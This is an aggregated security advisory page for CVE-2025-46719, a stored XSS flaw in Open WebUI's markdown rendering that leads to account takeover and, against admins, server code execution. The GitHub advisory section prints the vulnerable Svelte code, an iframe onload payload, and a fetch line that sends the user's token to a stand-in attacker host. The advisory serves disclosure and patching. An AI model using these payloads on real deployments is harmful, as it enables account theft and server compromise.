5.4medium
Open WebUI vulnerable to stored XSS via unescaped markdown token in MarkdownTokens.svelte leading to full account takeover and RCE via functions
- Severity
- 5.4medium CVSS:4.0 by GitHub_M
- Exploit likelihood
- 0.59% (higher than 49% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-9f4f-jv96-8766PYSEC-2026-2716
Description
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to version 0.6.6, a vulnerability in the way certain html tags in chat messages are rendered allows attackers to inject JavaScript code into a chat transcript. The JavaScript code will be executed in the user's browser every time that chat transcript is opened, allowing attackers to retrieve the user's access token and gain full control over their account. Chat transcripts can be shared with other users in the same server, or with the whole open-webui community if "Enable Community Sharing" is enabled in the admin panel. If this exploit is used against an admin user, it is possible to achieve Remote Code Execution on the server where the open-webui backend is hosted. This can be done by creating a new function which contains malicious python code. This vulnerability also affects chat transcripts uploaded to `https://openwebui.com/c/<user>/<chat_id>`, allowing for wormable stored XSS in https[:]//openwebui[.]com. Version 0.6.6 contains a patch for the issue.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| open-webui open-webui | < 0.6.6 | CVE List |
| open-webui (PyPI) | before 0.6.6 | GitHub Advisory Database, PyPA Advisory Database |
| openwebui open_webui | before 0.6.6 | NVD |
All scores
| GitHub_M | 5.4medium CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:P |
| GitHub | high CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N/E:P |
| NVD | 5.4medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N |
| PyPA Advisory Database | Not scored CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N/E:P |
Classification
SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact total.
What each source says
CVE List
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to version 0.6.6, a vulnerability in the way certain html tags in chat messages are rendered allows attackers to inject JavaScript code into a chat transcript. The JavaScript code will be executed in the user's browser every time that chat transcript is opened, allowing attackers to retrieve the user's access token and gain full control over their account. Chat transcripts can be shared with other users in the same server, or with the whole open-webui community if "Enable Community Sharing" is enabled in the admin panel. If this exploit is used against an admin user, it is possible to achieve Remote Code Execution on the server where the open-webui backend is hosted. This can be done by creating a new function which contains malicious python code. This vulnerability also affects chat transcripts uploaded to `https://openwebui.com/c/<user>/<chat_id>`, allowing for wormable stored XSS in https[:]//openwebui[.]com. Version 0.6.6 contains a patch for the issue.
GitHub Advisory Database
Summary
A vulnerability in the way certain html tags in chat messages are rendered allows attackers to inject JavaScript code into a chat transcript. The JavaScript code will be executed in the user's browser every time that chat transcript is opened, allowing attackers to retrieve the user's access token and gain full control over their account. Chat transcripts can be shared with other users in the same server, or with the whole open-webui community if "Enable Community Sharing" is enabled in the admin panel.
If this exploit is used against an admin user, it is possible to achieve Remote Code Execution on the server where the open-webui backend is hosed. This can be done by creating a new function which contains maliicious python code.
This vulnerability also affects chat transcripts uploaded to https://openwebui.com/c/<user>/<chat_id>, allowing for wormable stored XSS in https://openwebui.com
Details
Stored XSS
The file https://github.com/open-webui/open-webui/blob/main/src/lib/components/chat/Messages/Markdown/MarkdownTokens.svelte#L269-L279 contains the following code:
{:else if token.text.includes(`<iframe src="${WEBUI_BASE_URL}/api/v1/files/`)}
{@html `${token.text}`}
That code checks if a chat message has an html tag which contains the text <iframe src="${WEBUI_BASE_URL}/api/v1/files/, and if so, it renders that html tag using {@html}, which is a dangerous Svelte functionality that allows text to be rendered as HTML code.
Attackers can abuse this by sending a chat message with the following payload:
<iframe src="http://localhost:8080/api/v1/files/" onload="alert(1)"></iframe>, where http://localhost:8080 is the URL where the open-webui backend server is hosted.
This will cause a JavaScript alert window to be displayed every time that chat transcript is opened.
In a real attack scenario, instead of injecting alert(1) in the onload attribute, attackers can use the following code to steal the user's access token and send it to a server they control:
fetch("https://attacker.com/?token=" + localStorage.getItem("token"))
This is possible because the access token is stored inside the user's localStorage, which is accessible by JavaScript.
Then, once the attacker has created a chat transcript which contains that payload, they can share that transcript with other users on the same server by clicking on the 3 dots next to the chat transcript on the left, and clicking "Share"
If "Enable Community Sharing" is enabled in the admin panel. attackers can upload the infected chat transcript to https://openwebui.com/, where the Stored XSS payload will be executed
This makes the exploit a wormable Stored XSS. Attackers can upload an infected chat to their profile which has JavaScript code to upload a similar infected chat to the visitori's profile, share it with other members of the open-webui community, and infect their profiles as well.
<hr>RCE
If an attacker manages to steal an admin user's token, they can then achieve RCE on the backend server by creating a function (http://localhost:5174/admin/functions), which by design allows admins to execute arbitrary python code on the backend server.
The following HTTP request can be sent to the backend server to execute arbitrary python code.
PoC
Attackers can abuse this by sending a chat message with the following payload:
<iframe src="http://localhost:8080/api/v1/files/" onload="alert(1)"></iframe>, where http://localhost:8080 is the URL where the open-webui backend server is hosted.
Impact
Attackers can send a a link to a shared chat transcript to other users on the same server to take control over their accounts. They can also upload the chat to https://openwebui.com and take control over other users' accounts.
NVD (es)
Open WebUI es una plataforma de inteligencia artificial autoalojada, diseñada para operar completamente sin conexión. Antes de la versión 0.6.6, una vulnerabilidad en la representación de ciertas etiquetas HTML en los mensajes de chat permitía a los atacantes inyectar código JavaScript en una transcripción de chat. El código JavaScript se ejecutaba en el navegador del usuario cada vez que se abría la transcripción, lo que permitía a los atacantes recuperar su token de acceso y obtener control total sobre su cuenta. Las transcripciones de chat se pueden compartir con otros usuarios del mismo servidor o con toda la comunidad de Open WebUI si la opción "Habilitar uso compartido de la comunidad" está activada en el panel de administración. Si se utiliza este exploit contra un usuario administrador, es posible lograr la ejecución remota de código en el servidor donde se aloja el backend de Open WebUI. Esto se puede lograr mediante la creación de una nueva función que contenga código Python malicioso. Esta vulnerabilidad también afecta a las transcripciones de chat subidas a `https://openwebui.com/c//`, lo que permite XSS almacenado susceptible de ser atacado por gusanos en https[:]//openwebui[.]com. La versión 0.6.6 contiene un parche para el problema.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2025-46719 changed 2025-05-05 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-9f4f-jv96-8766 changed 2026-07-13 | CC-BY-4.0 |
| NVD | CVE-2025-46719 changed 2026-06-17 | Public domain |
| PyPA Advisory Database | PYSEC-2026-2716 changed 2026-07-13 | CC-BY-4.0 |